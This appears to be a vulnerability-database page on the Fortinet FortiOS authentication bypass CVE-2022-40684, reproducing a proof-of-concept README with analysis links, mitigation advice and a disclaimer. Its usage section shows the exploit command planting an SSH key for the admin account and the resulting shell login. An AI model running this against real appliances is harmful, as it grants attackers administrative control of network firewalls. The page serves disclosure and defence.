关联漏洞
标题：
Fortinet FortiOS 授权问题漏洞
(CVE-2022-40684)
描述：Fortinet FortiOS是美国飞塔（Fortinet）公司的一套专用于FortiGate网络安全平台上的安全操作系统。该系统为用户提供防火墙、防病毒、IPSec/SSLVPN、Web内容过滤和反垃圾邮件等多种安全功能。 Fortinet FortiOS存在授权问题漏洞。目前尚无此漏洞的相关信息，请随时关注CNNVD或厂商公告。
介绍
# CVE-2022-40684
POC for CVE-2022-40684 affecting Fortinet FortiOS, FortiProxy, and FortiSwitchManager appliances.
## Technical Analysis
A technical root cause analysis of the vulnerability can be found on our blog:
https://www.horizon3.ai/fortios-fortiproxy-and-fortiswitchmanager-authentication-bypass-technical-deep-dive-cve-2022-40684
## Indicators of Compromise
For analyizing Fortinet logs for indicators of compromise and how to enable deeper logs check out our IOC blog:
https://www.horizon3.ai/fortinet-iocs-cve-2022-40684/
## Summary
This POC abuses the authentication bypass vulnerability to set an SSH key for the specified user.
## Usage
```plaintext
root@kali:~# python3 CVE-2022-40684.py -t 10.0.40.67 --username admin --key-file ~/.ssh/id_rsa.pub
[+] SSH key for admin added successfully!
root@kali:~# ssh admin@10.0.40.67
fortios_7_2_1 #
config Configure object.
get Get dynamic and system information.
show Show configuration.
diagnose Diagnose facility.
execute Execute static commands.
alias Execute alias commands.
exit Exit the CLI.
```
## Mitigations
Update to the latest version or mitigate by following the instructions within the Fortinet PSIRT
* https://www.fortiguard.com/psirt/FG-IR-22-377
## Follow the Horizon3.ai Attack Team on Twitter for the latest security research:
* [Horizon3 Attack Team](https://twitter.com/Horizon3Attack)
* [James Horseman](https://twitter.com/JamesHorseman2)
* [Zach Hanley](https://twitter.com/hacks_zach)
## Disclaimer
This software has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized. Project maintainers are not responsible or liable for misuse of the software. Use responsibly.
文件快照
[4.0K] /data/pocs/4ff615fd5cfc7138df0141256b6de40a95ed5ac9
├── [1.2K] CVE-2022-40684.py
└── [1.8K] README.md
0 directories, 2 files
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